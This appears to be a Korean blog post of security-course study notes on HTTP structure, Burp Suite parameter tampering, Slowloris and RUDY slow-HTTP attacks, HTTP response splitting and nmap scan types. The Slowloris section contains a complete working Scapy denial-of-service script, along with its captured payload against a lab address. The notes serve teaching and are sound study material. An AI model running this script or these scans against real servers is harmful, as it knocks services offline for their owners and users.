티스토리 뷰

HTTP(HyperText Transfer Protocol)

요청(Request) / 응답(Response) 구조

Stateless → 요청과 요청간의 관계를 유지, 확인하지 않는다. ⇒ 세션, 연결을 유지하지 않는다.

요청 구조

↳ : 개행문자(CRLF)를 의미한다고 가정

요청 시작 ⇒ 요청방식 URI HTTP/1.1

요청헤더 ⇒ Content-Type: x-www-form-urlencoded

:

Content-Length: 2002

요청본문 ⇒ 서버로 전달할 내용 = 요청 파라미터 ⇒ 요청 방식에 따라서 있을 수도 있고, 없을 수도 있음

GET http://exam.com/abc.do HTTP/1.1Content-Type: text/html......↳↳ 개행문자 2개가 연속해서 나오는곳 ⇒ 요청 헤더의 끝

방식((method)) : 서버에서 처리할 명령어

  • GET : 리소스를 요청. 요청 파라미터를 주소에 포함해서 전달. 예: http://www.exam.com/abc.do?name=hong
  • POST : 리소스를 요청. 요청 파라미터를 요청 본문에 포함해서 전달.
  • PUT : 리소스를 생성
  • DELETE : 리소스를 삭제
  • HEAD : 리소스를 요청하는데, 결과 헤더만 반환
  • OPTIONS : 서버에서 제공할 수 있는 명령어 목록을 반환

URI (Uniform Resource Identifier)

  • URL (Location) http://www.exam.com:80/abc/def/xyz.do?name=hong&age=24

    스킴// 호스트명:포트 /웹 루트 디렉터리로 부터의 경로?요청 파라미터

  • URN (Name)

응답 구조

응답 시작 ⇒ HTTP/1.1 결과코드 결과설명↳

응답 헤더 ⇒ : ↳

: ↳

: ↳

응답 본문 ⇒ 클라이언트가 요청한 내용

<html><head>...</head><body>...</body></html>

결과코드

1xx ⇒ 정보

2xx ⇒ 성공. 200 OK.

3xx ⇒ 리다이렉트

4xx ⇒ 클라이언트 오류

5xx ⇒ 서버 오류

Burpsuite를 이용한 요청 파라미터 조작

IE 브라우저에 Proxy가 설정되어 있는지 확인하고, http://localhost:8080/openeg 로 접속

Burpsuite Proxy를 Intercept is on 상태로 변경

username에 "a", password에 "b"를 입력하고 로그인 버튼을 클릭

Burpsuite Proxy에서 요청 파라미터의 값을 변경한 후 Forward 버튼을 클릭해서 변경된 값을 서버로 전달.

이후 이어지는 요청과 응답을 Intercept 하지 않으려면 Intercept is off 상태로 변경

IE 브라우저에 로그인 성공 여부를 확인

@Attacker Burpsuite Proxy 설정

Proxy Listeners 포트를 확인

브라우저에 Proxy를 사용하도록 설정

Intercept is on 상태로 브라우저에서 Windows XP로 요청을 보냈을 때 요청이 캡쳐되는지 확인

Slowloris 공격 = Slow HTTP Header Dos

HTTP 프로토콜의 취약점을 이용한 공격

HTTP 헤더가 끝나는 지점에 개행문자(CRLF)가 두번 와야 하는데, 요청 헤더의 끝에 개행문자를 누락시켜 서버가 연결을 유지

GET http://exam.com/abc.do HTTP/1.1↳Content-Type: text/html↳x-a: b↳x-a: b↳...↳...↳...↳

요청 헤더를 끝내지 않고(↳...↳...↳...↳) 연결을 유지

import sys
import time
from scapy.all import *

def slowloris(target, num):
    # 연결 설정
    # syn, ack 리스트 변수는 num 개의 연결을 생성 
    print("start connect > {}".format(target))
    syn = []
    for i in range(num):
        # SYN 패킷을 생성
        syn.append(IP(dst=target)/TCP(sport=RandNum(1024, 65535), dport=80, flags='S'))

    syn_ack = sr(syn, verbose=0)[0]
    
    # SYN_ACK 구조 확인
    #for i in syn_ack:
    #    print(i)
    
    # ACK 패킷을 생성해서 전달
    ack = []
    for sa in syn_ack:
        # 서버로 전달할 요청(시작과 마무리되지 않은 헤더)
        payload = "GET /{} HTTP/1.1\r\n".format(str(RandNum(1, num))) + \
            "Host: {}\r\n".format(target) + \
            "User-Agent: Mozilla/4.0\r\n" + \
            "Content-Length: 42\r\n"
        ack.append(IP(dst=target)/TCP(sport=sa[1].dport, dport=80, flags="A", seq=sa[1].ack, ack=sa[1].seq+1)/payload)
    
    answer = sr(ack, verbose=0)[0]
    
    count = 1
    while True:
        print("{}번째 헤더 추가 전송".format(count))

        # 의미 없는 요청 헤더를 추가 전송
        ack = []
        for ans in answer:
            ack.append(IP(dst=target)/TCP(sport=ans[1].dport, dport=80, flags="PA", seq=ans[1].ack, ack=ans[1].seq+1)/"X-a: b\r\n") 
        
        answer = sr(ack, inter=0.5, verbose=0)[0]
        time.sleep(10) 
        count += 1


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("사용법: python3 slowloris.py TARGET_IP COUNT_OF_CONNECTION")
        sys.exit()

    target = sys.argv[1]
    num = int(sys.argv[2])
    slowloris(target, num)
GET /3 HTTP/1.1
Host: 192.168.94.131
User-Agent: Mozilla/4.0
Content-Length: 42
X-a: b
X-a: b
X-a: b
X-a: b

00000000  47 45 54 20 2f 33 20 48  54 54 50 2f 31 2e 31 0d   GET /3 H TTP/1.1.
00000010  0a 48 6f 73 74 3a 20 31  39 32 2e 31 36 38 2e 39   .Host: 1 92.168.9
00000020  34 2e 31 33 31 0d 0a 55  73 65 72 2d 41 67 65 6e   4.131..U ser-Agen
00000030  74 3a 20 4d 6f 7a 69 6c  6c 61 2f 34 2e 30 0d 0a   t: Mozil la/4.0..
00000040  43 6f 6e 74 65 6e 74 2d  4c 65 6e 67 74 68 3a 20   Content- Length: 
00000050  34 32 0d 0a                                        42..
00000060  58 2d 61 3a 20 62 0d 0a  58 2d 61 3a 20 62 0d 0a   X-a: b..X-a: b.. 
00000070  58 2d 61 3a 20 62 0d 0a  58 2d 61 3a 20 62 0d 0a   X-a: b..X-a: b..

RUDY Attack = HTTP POST Attack

POST http://exam.com/abc.do HTTP/1.1↳Content-Type: text/html↳Content-Length: 20000↳...↳↳aaaa

요청 본문(aaaa)를 천천히 전송해서 연결을 유지

HTTP 응답 분할(HTTP response splitting)

응답을 생성하는 과정에서 외부에서 전달된 값(=요청 파라미터)이 응답 헤더의 값으로 사용될 수 있다면, 요청 파라미터에 (응답 헤더의 끝을 나타내는) 개행문자의 포함 여부를 확인하지 않고 응답 헤더의 값으로 사용하면 여러개의 응답이 생성되어 클라이언트로 전달되는 문제

/코드

HTTP/1.1 200 OK↳Content-Type: text/html↳Set-Cookie: a=b↳...↳↳<script>...</script>↳HTTP/1.1 200 OK↳ … ↳ … ↳ … ↳↳<html>...</html>


HTTP/1.1 200 OK↳		      ⇐ 응답 시작
Content-Type: text/html↳	⇐ 응답 헤더의 시작
Set-Cookie: a=b↳
...↳
↳				                  ⇐ 응답 헤더의 끝
<script>...</script>↳	    ⇐ 응답 본문	→ 스크립트 코드가 사용자 브라우저를 통해서 실행
HTTP/1.1 200 OK↳		      ⇐ 응답 시작 (두번째)
 … ↳				              ⇐ 응답 헤더의 시작
 … ↳
 … ↳
↳				                  ⇐ 응답 헤더의 끝
<html>...</html>		      ⇐ 응답 본문

Port Scanning

nmap(network map)

  • 네트워크에 연결되어 있는 호스트의 정보(IP, OS, Service Port, SW, ....등)를 파악하는 도구

TCP Open Scan

  • 3way handshake 과정을 모두 완료 ⇒ SYN — SYN/ACK — SYN
  • 해당 포트가 유효한 경우 ⇒ SYN → SYN/ACK → SYN
  • 해당 포트가 유효하지 않은 경우 ⇒ SYN → RST/ACK
  • nmap -sT VICTIM_IP PORT

Stealth Scan

  • 3 way handshaking 과정을 완료하지 않거나, 비정상적인 패킷을 보내므로, 연결이 완료되지 않아 연결 기록이 남지않음
  • TCP half open scan, FIN/XMAS/NULL scan

TCP half open scan = TCP SYN Open scan

  • 포트가 유효한 경우 : SYN → SYN/ACK
  • 포트가 무효한 경우 : SYN → RST/ACK
  • nmap -sS

FIN scan

  • 포트가 유효한 경우 : FIN→ (무응답)
  • 포트가 무효한 경우 : FIN → RST/ACK
  • nmap -sF

XMAS scan

  • 포트가 유효한 경우 : FIN+PSH+URG → (무응답)
  • 포트가 무효한 경우 : FIN+PSH+URG → RST/ACK
  • nmap -sX

Null scan

  • 포트가 유효한 경우 : () → (무응답)
  • 포트가 무효한 경우 : () → RST/ACK
  • nmap -sN



'클라우드 보안 융합 전문가 과정 > 네트워크+시스템 보안' 카테고리의 다른 글

네트워크2  (0) 2021.01.19
네트워크  (2) 2021.01.18
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
글 보관함